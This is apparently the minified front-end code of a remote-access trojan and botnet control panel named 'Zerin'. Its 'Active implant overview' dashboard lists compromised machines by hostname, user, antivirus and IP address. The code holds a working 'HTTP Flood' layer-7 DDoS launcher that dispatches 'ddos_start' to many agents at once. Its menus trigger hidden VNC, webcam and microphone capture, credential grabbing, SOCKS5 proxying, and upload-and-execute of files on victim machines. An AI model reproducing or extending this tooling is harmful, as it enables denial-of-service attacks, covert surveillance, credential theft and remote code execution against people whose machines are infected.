0:y.height),className:Qe("recharts-wrapper",r),style:lU({position:"relative",cursor:"default",width:P,height:D},y),onClick:R,onContextMenu:V,onDoubleClick:Z,onFocus:F,onKeyDown:U,onMouseDown:ae,onMouseEnter:K,onMouseLeave:_,onMouseMove:M,onMouseUp:ue,onTouchEnd:q,onTouchMove:ye,onTouchStart:be,ref:G},m.createElement(fU,null),n)))}),yU=["width","height","responsive","children","className","style","compact","title","desc"];function bU(e,t){if(e==null)return{};var n,r,i=wU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:s,className:o,style:l,compact:c,title:u,desc:d}=e,f=bU(e,yU),p=Mr(f);return c?m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement(T2,{otherAttributes:p,title:u,desc:d},s)):m.createElement(gU,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},m.createElement(T2,{otherAttributes:p,title:u,desc:d,ref:t},m.createElement(FF,null,s)))});function Sh(){return Sh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(YW(e))},[t,e]),null}var SU=["layout"];function Ch(){return Ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=gn(e,LU);return m.createElement(_U,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:MU,tooltipPayloadSearcher:Q3,categoricalChartProps:n,ref:t})}),DU=["axis"],RU=m.forwardRef((e,t)=>m.createElement(kU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:DU,tooltipPayloadSearcher:Q3,categoricalChartProps:e,ref:t}));function $U({agents:e}){const t=m.useMemo(()=>{const i=Date.now(),s=24*60*60*1e3,o=24,l=s/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:p,count:h})}return c},[e]),n=m.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,s=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:s,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=m.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:a.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),a.jsx("div",{style:{height:100},children:a.jsx(Wy,{width:"100%",height:"100%",children:a.jsxs(RU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[a.jsx("defs",{children:a.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[a.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),a.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),a.jsx(Wb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),a.jsx(Kz,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("div",{style:{width:100,height:100},children:a.jsx(Wy,{width:"100%",height:"100%",children:a.jsxs(IU,{children:[a.jsx(Ez,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,s)=>a.jsx(mf,{fill:i.color},s))}),a.jsx(Wb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),a.jsx("div",{className:"space-y-2",children:n.map(i=>a.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[a.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),a.jsx("span",{className:"text-zerin-text-dim",children:i.name}),a.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function BU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useRef(null),c=m.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=m.useCallback(f=>{t(e.filter(p=>p!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return a.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>a.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const FU=["GET","POST","HEAD"],WU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function lS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(z,S)=>{h({text:z,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S);const O=S.filter(A=>A.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(z){j(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_stop"})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S),g(!1);const O=S.filter(A=>A.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(z){j(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(z=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${z.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:z.agentId.slice(0,8)}),a.jsx("span",{className:z.ok?"text-emerald-400":"text-red-400",children:z.ok?"OK":z.error})]},z.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:z=>r(z.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:FU.map(z=>a.jsx("button",{onClick:()=>u(z),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===z?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:z},z))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:z=>s(Number(z.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:WU.map(z=>a.jsx("button",{onClick:()=>s(z.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===z.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:z.label},z.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:z=>l(Number(z.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const D2={alive:0,stale:1,dead:2};function UU(e,t,n){let r=0;switch(n.column){case"status":r=(D2[e.status]??3)-(D2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Io(e.os).localeCompare(Io(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const VU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function HU(){const e=xr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,k]=m.useState(null),[z,S]=m.useState(null),[O,A]=m.useState("Zerin"),[T,P]=m.useState(""),[D,G]=m.useState(new Set),[R,K]=m.useState(!1),[_,M]=m.useState(!1),[F,U]=m.useState(""),[V,Z]=m.useState(""),[ae,ue]=m.useState(!1),[be,ye]=m.useState(null),q=m.useRef(null),te=m.useRef(null),C=m.useRef(null),Y=m.useCallback(async()=>{try{const E=await Sj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{Y()},[Y]);const{lastMessage:ne}=m.useContext(gd);m.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(ce=>{const J=ce.findIndex(xe=>xe.id===E.id);if(J>=0){const xe=[...ce];return xe[J]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[ne]),m.useEffect(()=>{const E=setInterval(Y,15e3);return()=>clearInterval(E)},[Y]),m.useEffect(()=>()=>{q.current&&clearTimeout(q.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},le=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),Ne=[...l==="all"?le:le.filter(E=>E.status===l)].sort((E,ce)=>UU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,$=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function ve(E){c(ce=>ce===E&&E!=="all"?"all":E)}function H(E){if(q.current){clearTimeout(q.current),q.current=null,e(`/agents/${E.id}`);return}q.current=setTimeout(()=>{q.current=null,b(E)},250)}function se(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function W(E,ce){var X;if(!g)return;const J=g.id,xe=g.hostname,ke=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(re=>({...re,visible:!1})),y(null),ke==="chat"){j(g);return}if(ke==="confirm"){k({command:E,agentId:J,hostname:xe});return}if(ke==="msgbox"){S({agentId:J,hostname:xe}),A("Zerin"),P("");return}if(ke==="vnc"){Ex(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(ke==="hvnc"){Pj(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(ke==="webcam"){Ej(J).then(()=>{const re=st(),oe=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(ke==="mic"){_j(J).then(()=>{const re=st(),oe=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(ke==="socks5"){Aj(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port} + +Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ke==="execute_upload"){C.current=J,(X=te.current)==null||X.click();return}if(ke==="ban"){const re=t.find(L=>L.id===J),oe=re==null?void 0:re.banned,Oe=oe?`Unban agent ${xe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(oe?e6:JE)(J).then(()=>{n(L=>L.map(ie=>ie.id===J?{...ie,banned:!oe}:ie))}).catch(()=>o(`Failed to ${oe?"unban":"ban"} agent`));return}if(ke==="remove"){if(!confirm(`Remove agent ${xe} (${J.slice(0,8)})? This cannot be undone.`))return;Cj(J).then(()=>{n(re=>re.filter(oe=>oe.id!==J))}).catch(()=>o("Failed to remove agent"));return}(ke==="submit"||ke==="screenshot")&&E!=="creds"&&Me(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ze&&e(`/agents/${J}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,re;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const J=C.current;C.current=null;const xe=ce.name,ke=`C:\\Windows\\Temp\\${xe}`;try{const oe=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(oe)),{task_id:et}=await Me(J,{command:"upload",args:[ke],data:Oe});let L=!1;for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(J)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);L=!0;break}}if(!L)throw new Error("Upload timed out");const{task_id:ie}=await Me(J,{command:"execute",args:[ke]});for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(re=(await Xn(J)).results)==null?void 0:re.find(Lt=>Lt.task_id===ie);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(oe){o(`Execute file failed: ${oe instanceof Error?oe.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(ic,{label:"Total",value:B.total,active:l==="all",onClick:()=>ve("all")}),a.jsx(ic,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>ve("alive")}),a.jsx(ic,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>ve("stale")}),a.jsx(ic,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>ve("dead")})]}),a.jsx($U,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:$})]}),f==="offline"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&$>0&&a.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${$} dead agent(s)? This cannot be undone.`))return;const E=t.filter(ce=>ce.status==="dead").map(ce=>ce.id);try{await QE(E),n(ce=>ce.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):s?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:a.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:s}),a.jsxs("button",{onClick:Y,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):Ne.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:a.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?a.jsxs(a.Fragment,{children:[a.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):a.jsxs(a.Fragment,{children:[a.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&a.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[a.jsx("span",{className:"text-zerin-text font-medium",children:Ne.length})," ",f," agent",Ne.length!==1?"s":"",l!=="all"&&a.jsxs("span",{className:"ml-1",children:["· filtered by ",a.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm text-left",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-bg-alt",children:[a.jsx("th",{className:"px-3 py-3 w-[40px]",children:a.jsx("input",{type:"checkbox",checked:Ne.length>0&&Ne.filter(E=>E.status!=="dead").every(E=>D.has(E.id)),onChange:E=>{E.target.checked?G(new Set(Ne.filter(ce=>ce.status!=="dead").map(ce=>ce.id))):G(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),VU.map(E=>a.jsx("th",{onClick:()=>fe(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:a.jsxs("span",{className:"inline-flex items-center 